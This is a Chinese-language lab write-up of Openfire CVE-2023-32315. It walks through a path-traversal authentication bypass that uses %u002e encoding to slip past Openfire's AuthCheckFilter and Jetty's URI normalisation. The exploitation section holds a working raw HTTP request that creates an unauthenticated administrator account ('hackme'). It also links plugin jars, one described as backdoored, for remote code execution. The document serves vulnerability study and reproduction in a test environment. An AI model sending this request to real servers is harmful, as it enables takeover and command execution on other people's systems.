Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器

Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果

官方通告:https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm

影响版本:

  • 3.10.0 <= Openfire < 4.6.8
  • 4.7.0 <= Openfire < 4.7.5

环境搭建

直接下载 openfire 4.7.4:https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4.tar.gz

然后解压,通过bin/openfire start启动openfire
logs/stdoutt.log中可以看到管理平台端口是9090

接下来进行安装,默认设置即可,可以选择自带的数据库

然后设置管理员账号密码

安装成功后直接显示了当前版本

漏洞分析

对比最新版本和漏洞版本的代码区别:https://github.com/igniterealtime/Openfire/compare/v4.7.4...4.7

看到xmppserver/src/main/webapp/WEB-INF/web.xml

删除了setup/index.jspsetup/setup-*两个路径,其实这个 AuthCheckFilter 就是它的一个鉴权机制,如果满足这些路径就可以跳过鉴权

xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java

在漏洞版本中,如果满足exclude.endsWith("*"),同时url不包含..或者%2e,那么就返回true
而在修复版本中进行了URLDecoder,然后再判断是否存在..

看到这里如果返回为true的话,doExclude就会为true,绕过鉴权

在CVE-2021-34429中,Jetty 就有过使用%u002e进行绕过,在Jetty9.4.37版本中,为了符合RFC3986中的规范,选择性地支持可能有歧义解释的URI,默认模式允许URL编码,这也导致我们可以使用UTF-16字符来绕过路径穿越的防护

Openfire默认下载的版本为jetty/9.4.43

看到org.eclipse.jetty.http.HttpURI#parse

先调用URIUtil.decodePath进行URL解码,然后调用URIUtil.canonicalPath进行规范化,即:

1
2
3
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
-> /setup/setup-s/../../log.jsp
-> /log.jsp

成功绕过鉴权

漏洞利用

我们利用该漏洞创建一个新的管理员:

1
2
3
4
5
6
7
8
9
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hackme

成功利用hackme登录后,我们可以安装插件实现rce,插件地址:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/download/v0.1/org.jivesoftware.openfire.plugin.CVE-openfire-plugin-assembly.jar

使用默认密码123登录,成功执行命令

也可以使用p神给的插件:https://github.com/vulhub/openfire-fastpath-plugin,里面存在后门

参考:
https://github.com/vulhub/vulhub/blob/master/openfire/CVE-2023-32315/README.zh-cn.md
Eclipse Jetty WEB-INF敏感信息泄露漏洞分析(CVE-2021-28164/CVE-2021-34429)